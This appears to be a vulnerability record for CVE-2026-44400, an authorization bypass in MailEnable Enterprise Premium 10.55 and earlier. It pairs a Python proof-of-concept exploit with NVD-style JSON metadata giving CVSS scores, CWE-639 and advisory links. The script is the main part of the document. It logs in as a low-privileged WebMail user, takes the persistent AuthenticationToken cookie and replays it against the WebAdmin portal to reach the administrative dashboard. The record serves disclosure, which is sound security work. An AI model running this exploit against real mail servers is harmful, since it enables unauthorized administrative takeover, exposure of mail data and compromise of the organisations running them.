CVE-2026-44400

import requests # Target URL configuration target_host = "http://target-mailenable-server" webmail_login_url = f"{target_host}/mailmail/login.aspx" webadmin_url = f"{target_host}/webadmin/mobile/default.aspx" # Attacker credentials (low privilege) username = "low_priv_user" password = "password123" # Step 1: Authenticate via WebMail and obtain PersistentLogin token print("[+] Attempting to login via WebMail to obtain token...") session = requests.Session() payload = { "username": username, "password": password, "PersistentLogin": "on" # Trigger persistent token generation } response = session.post(webmail_login_url, data=payload) # Extract the AuthenticationToken cookie (Simulated extraction) auth_token = session.cookies.get('AuthenticationToken') if auth_token: print(f"[+] Token found: {auth_token}") # Step 2: Replay the token against WebAdmin portal print("[+] Replaying token against WebAdmin portal...") admin_cookies = {'AuthenticationToken': auth_token} admin_response = requests.get(webadmin_url, cookies=admin_cookies) # Check if authentication bypass was successful if admin_response.status_code == 200 and "Dashboard" in admin_response.text: print("[!] Successfully accessed WebAdmin with low-privilege token!") print(f"[+] Response length: {len(admin_response.text)}") else: print("[-] Failed to bypass authentication.") else: print("[-] Could not retrieve AuthenticationToken cookie.")

{"cve": {"id": "CVE-2026-44400", "sourceIdentifier": "[email protected]", "published": "2026-05-08T21:16:28.260", "lastModified": "2026-05-08T21:16:28.260", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.mailenable.com/Premium-ReleaseNotes.txt", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/mailenable-enterprise-premium-authorization-bypass-via-webadmin", "source": "[email protected]"}]}}